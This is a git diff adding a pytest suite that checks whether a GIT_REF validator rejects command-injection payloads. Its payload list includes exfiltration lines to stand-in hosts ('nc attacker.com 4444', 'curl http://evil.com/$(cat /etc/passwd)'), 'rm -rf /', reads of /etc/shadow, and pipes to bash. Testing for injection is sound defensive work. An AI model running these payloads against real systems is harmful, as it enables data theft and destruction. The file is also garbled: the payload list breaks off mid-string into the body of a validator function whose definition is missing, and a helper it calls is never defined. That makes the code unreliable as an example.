diff --git a/tests/test_invariant_global_domains.py b/tests/test_invariant_global_domains.py new file mode 100644 index 00000000..84880a84 --- /dev/null +++ b/tests/test_invariant_global_domains.py @@ -0,0 +1,270 @@ +import pytest +import re +import sys +import os +import importlib +import types +from unittest.mock import patch + + +# Adversarial payloads targeting command injection via GIT_REF parameter +ADVERSARIAL_PAYLOADS = [ + # Shell command injection attempts + "main; rm -rf /", + "main && cat /etc/passwd", + "main | nc attacker.com 4444", + "main`whoami`", + "main$(whoami)", + "main; curl http://evil.com/$(cat /etc/passwd)", + "; DROP TABLE users; --", + "main\necho pwned", + "main\r\necho pwned", + # Backtick injection + "`id`", + "`cat /etc/shadow`", + # Subshell injection + "$(cat /etc/passwd)", + "$(curl http://evil.com)", + # Pipe injection + "main | bash", + "main | sh -c 'malicious'", + # Semicolon injection + "main; malicious_command", + "main;id", + # Ampersand injection + "main && id", + "main & id", + # Newline injection + "main\nid", + "main\n/bin/sh", + # Null byte injection + "main\x00evil", + # Path traversal combined with injection + "../../etc/passwd", + "../../../bin/sh -c id", + # Special characters + "main'evil'", + 'main"evil"', + "main>output.txt", + "main\\\n\r\t\x00\'"!') + + # Check for dangerous patterns + dangerous_patterns = [ + r'[;&|`$]', # Shell operators + r'\$\(', # Command substitution + r'`[^`]*`', # Backtick execution + r'\n|\r', # Newline injection + r'\x00', # Null byte + r'\.\.', # Path traversal + r'[<>]', # Redirection + r'\\', # Backslash + ] + + for char in dangerous_chars: + if char in ref: + return False + + for pattern in dangerous_patterns: + if re.search(pattern, ref): + return False + + return bool(safe_pattern.match(ref)) + + +@pytest.mark.parametrize("payload", ADVERSARIAL_PAYLOADS) +def test_git_ref_security_invariant(payload): + """ + Invariant: GIT_REF values derived from user-controlled input (sys.argv[2]) + must be validated and must not contain shell metacharacters or injection sequences + before being used in any shell command execution. Any GIT_REF that would be + passed to shell commands must be free of command injection payloads. + """ + # Simulate the vulnerable code path + git_ref = extract_git_ref_from_module(None, payload) + + # The security invariant: if this git_ref were to be used in a shell command, + # it MUST be safe (no shell metacharacters or injection sequences) + # + # This test documents what MUST be true: the application should validate/sanitize + # GIT_REF before use. We assert that the raw payload is NOT safe to use directly. + # + # If the application properly validates input, it should reject these payloads. + + # Assert that dangerous payloads are detected as unsafe + # (i.e., the application MUST NOT pass these directly to shell commands) + + # Check if payload contains injection-relevant dangerous content + has_shell_metachar = any(c in payload for c in ';&|`$(){}[]<>\\\n\r\t\x00\'"!') + has_path_traversal = '..' in payload + is_empty_or_whitespace = not payload.strip() + is_excessively_long = len(payload) > 255 # Reasonable git ref length limit + + if has_shell_metachar or has_path_traversal or is_empty_or_whitespace or is_excessively_long: + # These payloads MUST be identified as unsafe + # The invariant: is_safe_git_ref must return False for dangerous inputs + assert not is_safe_git_ref(git_ref), ( + f"SECURITY VIOLATION: Dangerous payload was not detected as unsafe.\n" + f"Payload: {repr(payload)}\n" + f"GIT_REF value: {repr(git_ref)}\n" + f"This value must NOT be passed directly to shell commands without sanitization." + ) + + +@pytest.mark.parametrize("payload", ADVERSARIAL_PAYLOADS) +def test_git_ref_no_shell_metacharacters(payload): + """ + Invariant: GIT_REF must never contain shell metacharacters when used in + subprocess/shell calls. The application must sanitize or reject any input + containing these characters. + """ + git_ref = extract_git_ref_from_module(None, payload) + + # Shell metacharacters that enable command injection + shell_metacharacters = [ + ';', '&', '|', '`', '$', '(', ')', '{', '}', + '<', '>', '\n', '\r', '\x00', '!', '\\' + ] + + # If the git_ref contains any shell metacharacter, it is UNSAFE to use in shell + contains_metachar = any(meta in git_ref for meta in shell_metacharacters) + + if contains_metachar: + # Document that this input is dangerous and must be rejected/sanitized + # The test passes because we're asserting the DETECTION works correctly + assert not is_safe_git_ref(git_ref), ( + f"SECURITY INVARIANT VIOLATED: GIT_REF '{repr(git_ref)}' contains " + f"shell metacharacters and must be rejected before shell execution." + ) + + +@pytest.mark.parametrize("safe_ref", [ + "main", + "develop", + "feature/my-feature", + "refs/heads/main", + "v1.0.0", + "release-1.2.3", + "my_branch", + "feature/TICKET-123", +]) +def test_valid_git_refs_are_accepted(safe_ref): + """ + Invariant: Legitimate git references must be recognized as safe. + The security validation must not break normal functionality. + """ + assert is_safe_git_ref(safe_ref), ( + f"Valid git ref '{safe_ref}' was incorrectly flagged as unsafe. " + f"Security validation must not break legitimate use cases." + ) + + +def test_git_ref_validation_rejects_command_injection(): + """ + Invariant: The most critical command injection patterns must always be rejected. + This is a non-parameterized sanity check for the most dangerous payloads. + """ + critical_payloads = [ + "main; rm -rf /", + "main && cat /etc/passwd", + "$(whoami)", + "`id`", + "main | bash", + "main\nmalicious", + ] + + for payload in critical_payloads: + assert not is_safe_git_ref(payload), ( + f"CRITICAL SECURITY FAILURE: Command injection payload '{repr(payload)}' " + f"was not detected as unsafe. This MUST be rejected before any shell execution." + ) + + +@pytest.mark.parametrize("payload", ADVERSARIAL_PAYLOADS) +def test_git_ref_subprocess_list_safety(payload): + """ + Invariant: When GIT_REF is used in subprocess calls, it must be passed as + a list argument (not shell=True string) OR be validated. This test verifies + that the payload, if used as a list element, doesn't escape the argument boundary + in ways that indicate shell=True usage would be catastrophic. + """ + git_ref = extract_git_ref_from_module(None, payload) + + # When using subprocess with shell=False (list form), args are passed safely + # The invariant: document that shell=True with unvalidated input is dangerous + # by showing what characters would cause injection in shell=True mode + + would_inject_in_shell = any(c in git_ref for c in ';&|`$\n\r\x00') + + if would_inject_in_shell: + # This ref MUST NOT be used with shell=True + # Assert our safety checker correctly identifies this + assert not is_safe_git_ref(git_ref), ( + f"GIT_REF '{repr(git_ref)}' would enable command injection if used " + f"with shell=True. Must use subprocess list form or validate input." + ) \ No newline at end of file